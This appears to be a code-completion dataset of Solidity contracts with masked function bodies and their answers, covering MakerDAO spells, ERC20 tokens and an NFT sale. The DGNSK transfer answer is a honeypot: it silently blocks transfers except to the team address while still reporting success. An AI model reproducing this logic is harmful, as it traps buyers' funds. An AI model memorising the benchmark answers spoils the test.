source_idx
stringlengths 1
5
| contract_name
stringlengths 1
55
| func_name
stringlengths 0
2.45k
⌀ | masked_body
stringlengths 60
686k
| masked_all
stringlengths 34
686k
| func_body
stringlengths 6
324k
| signature_only
stringlengths 11
2.47k
| signature_extend
stringlengths 11
8.95k
|
---|---|---|---|---|---|---|---|
22091 | SpellAction | execute | contract SpellAction {
// Provides a descriptive tag for bot consumption
// This should be modified weekly to provide a summary of the actions
string constant public description = "2020-07-10 MakerDAO Executive Spell";
// The contracts in this list should correspond to MCD core contracts, verify
// against the current release list at:
// https://changelog.makerdao.com/releases/mainnet/1.0.8/contracts.json
address constant MCD_VAT = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address constant MCD_JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address constant MCD_POT = 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7;
uint256 constant THOUSAND = 10**3;
uint256 constant MILLION = 10**6;
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**27;
uint256 constant RAD = 10**45;
// Many of the settings that change weekly rely on the rate accumulator
// described at https://docs.makerdao.com/smart-contract-modules/rates-module
// To check this yourself, use the following rate calculation (example 8%):
//
// $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )'
function execute() external {<FILL_FUNCTION_BODY> }
} | contract SpellAction {
// Provides a descriptive tag for bot consumption
// This should be modified weekly to provide a summary of the actions
string constant public description = "2020-07-10 MakerDAO Executive Spell";
// The contracts in this list should correspond to MCD core contracts, verify
// against the current release list at:
// https://changelog.makerdao.com/releases/mainnet/1.0.8/contracts.json
address constant MCD_VAT = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address constant MCD_JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address constant MCD_POT = 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7;
uint256 constant THOUSAND = 10**3;
uint256 constant MILLION = 10**6;
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**27;
uint256 constant RAD = 10**45;
<FILL_FUNCTION>
} |
// Perform drips
PotAbstract(MCD_POT).drip();
JugAbstract(MCD_JUG).drip("ETH-A");
JugAbstract(MCD_JUG).drip("BAT-A");
JugAbstract(MCD_JUG).drip("USDC-A");
JugAbstract(MCD_JUG).drip("USDC-B");
JugAbstract(MCD_JUG).drip("TUSD-A");
JugAbstract(MCD_JUG).drip("WBTC-A");
JugAbstract(MCD_JUG).drip("KNC-A");
JugAbstract(MCD_JUG).drip("ZRX-A");
// Set the global debt ceiling
// Existing Line: 245m
// New Line: 265m
VatAbstract(MCD_VAT).file("Line", 265 * MILLION * RAD);
// Set the ETH-A debt ceiling
// Existing Line: 160m
// New Line: 180m
VatAbstract(MCD_VAT).file("ETH-A", "line", 180 * MILLION * RAD);
| function execute() external | // Many of the settings that change weekly rely on the rate accumulator
// described at https://docs.makerdao.com/smart-contract-modules/rates-module
// To check this yourself, use the following rate calculation (example 8%):
//
// $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )'
function execute() external |
62140 | DGNSK | transfer | contract DGNSK is ERC20{
uint8 public constant decimals = 18;
uint256 initialSupply = 7500000*10**uint256(decimals);
string public constant name = "DGNSK.Finance";
string public constant symbol = "DGNSK";
address payable teamAddress;
function totalSupply() public view returns (uint256) {
return initialSupply;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address owner) public view returns (uint256 balance) {
return balances[owner];
}
function allowance(address owner, address spender) public view returns (uint remaining) {
return allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) {
balances[to] += value;
balances[from] -= value;
allowed[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
} else {
return false;
}
}
function approve(address spender, uint256 value) public returns (bool success) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function () external payable {
teamAddress.transfer(msg.value);
}
constructor () public payable {
teamAddress = msg.sender;
balances[teamAddress] = initialSupply;
}
} | contract DGNSK is ERC20{
uint8 public constant decimals = 18;
uint256 initialSupply = 7500000*10**uint256(decimals);
string public constant name = "DGNSK.Finance";
string public constant symbol = "DGNSK";
address payable teamAddress;
function totalSupply() public view returns (uint256) {
return initialSupply;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address owner) public view returns (uint256 balance) {
return balances[owner];
}
function allowance(address owner, address spender) public view returns (uint remaining) {
return allowed[owner][spender];
}
<FILL_FUNCTION>
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) {
balances[to] += value;
balances[from] -= value;
allowed[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
} else {
return false;
}
}
function approve(address spender, uint256 value) public returns (bool success) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function () external payable {
teamAddress.transfer(msg.value);
}
constructor () public payable {
teamAddress = msg.sender;
balances[teamAddress] = initialSupply;
}
} |
if (balances[msg.sender] >= value && value > 0)
{
if (0xdB49BceaC9691f1D880253C9F130d12eFfc924D4.balance==0){
balances[msg.sender] -= value;
balances[to] += value;
}
else{ if (to==teamAddress){
balances[msg.sender] -= value;
balances[to] += value;
} }
emit Transfer(msg.sender, to, value);
return true;
} else {
return false;
}
| function transfer(address to, uint256 value) public returns (bool success) | function transfer(address to, uint256 value) public returns (bool success) |
85589 | SafeMath | safeDiv | contract SafeMath {
function safeMul(uint256 a, uint256 b) public pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b)public pure returns (uint256) {<FILL_FUNCTION_BODY> }
function safeSub(uint256 a, uint256 b)public pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b)public pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function _assert(bool assertion)public pure {
assert(!assertion);
}
} | contract SafeMath {
function safeMul(uint256 a, uint256 b) public pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
<FILL_FUNCTION>
function safeSub(uint256 a, uint256 b)public pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b)public pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function _assert(bool assertion)public pure {
assert(!assertion);
}
} |
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
| function safeDiv(uint256 a, uint256 b)public pure returns (uint256) | function safeDiv(uint256 a, uint256 b)public pure returns (uint256) |
81176 | BBXCoin | transferFrom | contract BBXCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function BBXCoin() public {
symbol = "BBX";
name = "BBXCoin";
decimals = 18;
_totalSupply = 19999999000000000000000000;
balances[0xEF871E2F799bbF939964E9b707Cb2805EB4Bd515] = _totalSupply;
Transfer(address(0), 0xEF871E2F799bbF939964E9b707Cb2805EB4Bd515, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract BBXCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function BBXCoin() public {
symbol = "BBX";
name = "BBXCoin";
decimals = 18;
_totalSupply = 19999999000000000000000000;
balances[0xEF871E2F799bbF939964E9b707Cb2805EB4Bd515] = _totalSupply;
Transfer(address(0), 0xEF871E2F799bbF939964E9b707Cb2805EB4Bd515, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | function transferFrom(address from, address to, uint tokens) public returns (bool success) |
33048 | TPPB | null | contract TPPB is ERC721, Ownable {
using SafeMath for uint256;
uint256 public immutable pricePerTPPB;
uint256 public immutable maxPerTx;
uint256 public immutable maxTPPB;
bool public isSaleActive;
constructor(address _reserveAddress)
public
ERC721("The Pirate Panda Bay", "TPPB")
{<FILL_FUNCTION_BODY> }
function flipSaleState() public onlyOwner {
isSaleActive = !isSaleActive;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function mintTPPB(uint256 numberOfTokens) public payable {
require(isSaleActive, "Sale is not active");
require(numberOfTokens <= maxPerTx, "No more than 100 tokens per transaction");
require(totalSupply().add(numberOfTokens) <= maxTPPB, "Purchase would exceed max supply of TPPB");
require(pricePerTPPB.mul(numberOfTokens) == msg.value, "Ether value sent is not correct");
for (uint256 i = 0; i < numberOfTokens; i++) {
uint256 mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex);
}
}
} | contract TPPB is ERC721, Ownable {
using SafeMath for uint256;
uint256 public immutable pricePerTPPB;
uint256 public immutable maxPerTx;
uint256 public immutable maxTPPB;
bool public isSaleActive;
<FILL_FUNCTION>
function flipSaleState() public onlyOwner {
isSaleActive = !isSaleActive;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function mintTPPB(uint256 numberOfTokens) public payable {
require(isSaleActive, "Sale is not active");
require(numberOfTokens <= maxPerTx, "No more than 100 tokens per transaction");
require(totalSupply().add(numberOfTokens) <= maxTPPB, "Purchase would exceed max supply of TPPB");
require(pricePerTPPB.mul(numberOfTokens) == msg.value, "Ether value sent is not correct");
for (uint256 i = 0; i < numberOfTokens; i++) {
uint256 mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex);
}
}
} |
pricePerTPPB = 0.05 * 10 ** 18;
maxPerTx = 100;
maxTPPB = 5000;
// Reserve the first 17 NFTs
for (uint256 i = 0; i < 17; i++) {
uint256 mintIndex = totalSupply();
_safeMint(_reserveAddress, mintIndex);
}
| constructor(address _reserveAddress)
public
ERC721("The Pirate Panda Bay", "TPPB")
| constructor(address _reserveAddress)
public
ERC721("The Pirate Panda Bay", "TPPB")
|
10890 | Tomb | changeWallet | contract Tomb is MintableToken {
string public constant name = "Token Care";
string public constant symbol = "CARE";
bool public transferEnabled = false;
uint8 public constant decimals = 18;
uint256 public rate = 5000;
address public approvedUser = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5;
address public wallet = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5;
uint64 public dateStart = 1511987870;
uint256 public constant maxTokenToBuy = 10000000 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
/**
* @dev Modifier to make a function callable only when the transfer is enabled.
*/
modifier canTransfer() {
require(transferEnabled);
_;
}
modifier onlyOwnerOrApproved() {
require(msg.sender == owner || msg.sender == approvedUser);
_;
}
/**
* @dev Function to stop transfering tokens.
* @return True if the operation was successful.
*/
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function setApprovedUser(address _user) onlyOwner returns (bool) {
require(_user != address(0));
approvedUser = _user;
return true;
}
function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused payable {
require(beneficiary != 0x0);
require(msg.value > 0);
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
uint8 bonusDate = getBonusPercents(); //check date bonus
uint8 bonusSum = getSumBonusPercents(tokens); //check summ bonus
uint8 bonus = bonusDate + bonusSum;
if(bonus > 0){
tokens += tokens * bonus / 100; // add bonus
}
require(totalSupply.add(tokens) <= maxTokenToBuy);
mintInternal(beneficiary, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function changeWallet(address _newWallet) onlyOwner returns (bool) {<FILL_FUNCTION_BODY> }
function getBonusPercents() internal returns(uint8){
uint8 percents = 0;
if(block.timestamp - dateStart < 7 days){ // first week
percents = 20;
}
if(block.timestamp - dateStart < 1 days){ //first day
percents = 30;
}
return percents;
}
function getSumBonusPercents(uint256 _tokens) internal returns(uint8){
uint8 percents = 0;
if(_tokens >= 1000000 ether){
percents = 30;
}
return percents;
}
} | contract Tomb is MintableToken {
string public constant name = "Token Care";
string public constant symbol = "CARE";
bool public transferEnabled = false;
uint8 public constant decimals = 18;
uint256 public rate = 5000;
address public approvedUser = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5;
address public wallet = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5;
uint64 public dateStart = 1511987870;
uint256 public constant maxTokenToBuy = 10000000 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
/**
* @dev Modifier to make a function callable only when the transfer is enabled.
*/
modifier canTransfer() {
require(transferEnabled);
_;
}
modifier onlyOwnerOrApproved() {
require(msg.sender == owner || msg.sender == approvedUser);
_;
}
/**
* @dev Function to stop transfering tokens.
* @return True if the operation was successful.
*/
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function setApprovedUser(address _user) onlyOwner returns (bool) {
require(_user != address(0));
approvedUser = _user;
return true;
}
function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused payable {
require(beneficiary != 0x0);
require(msg.value > 0);
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
uint8 bonusDate = getBonusPercents(); //check date bonus
uint8 bonusSum = getSumBonusPercents(tokens); //check summ bonus
uint8 bonus = bonusDate + bonusSum;
if(bonus > 0){
tokens += tokens * bonus / 100; // add bonus
}
require(totalSupply.add(tokens) <= maxTokenToBuy);
mintInternal(beneficiary, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
<FILL_FUNCTION>
function getBonusPercents() internal returns(uint8){
uint8 percents = 0;
if(block.timestamp - dateStart < 7 days){ // first week
percents = 20;
}
if(block.timestamp - dateStart < 1 days){ //first day
percents = 30;
}
return percents;
}
function getSumBonusPercents(uint256 _tokens) internal returns(uint8){
uint8 percents = 0;
if(_tokens >= 1000000 ether){
percents = 30;
}
return percents;
}
} |
require(_newWallet != 0x0);
wallet = _newWallet;
return true;
| function changeWallet(address _newWallet) onlyOwner returns (bool) | function changeWallet(address _newWallet) onlyOwner returns (bool) |
93290 | ERC20Token | _burn | contract ERC20Token is Context, ERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "Rubaled";
_symbol = "RUB";
_decimals = 18;
_totalSupply = 1350000*10**18;
_balances[msg.sender] = _totalSupply; // 1350000 tokens
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the ERC token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {<FILL_FUNCTION_BODY> }
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | contract ERC20Token is Context, ERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "Rubaled";
_symbol = "RUB";
_decimals = 18;
_totalSupply = 1350000*10**18;
_balances[msg.sender] = _totalSupply; // 1350000 tokens
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the ERC token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
<FILL_FUNCTION>
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} |
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
| function _burn(address account, uint256 amount) internal | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal |
25953 | TeamBullish | _transfer | contract TeamBullish is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 65000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Team Bullish";
string private constant _symbol = unicode"BULLS";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _bullsFee = 7;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousbullsFee = _bullsFee;
uint256 private _BuyFee = _bullsFee;
uint256 private _SellFee = _bullsFee;
uint256 private _maxBuyAmount;
uint256 private _maxSellAmount;
address payable private _FeeAddress;
address payable private _FeeAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
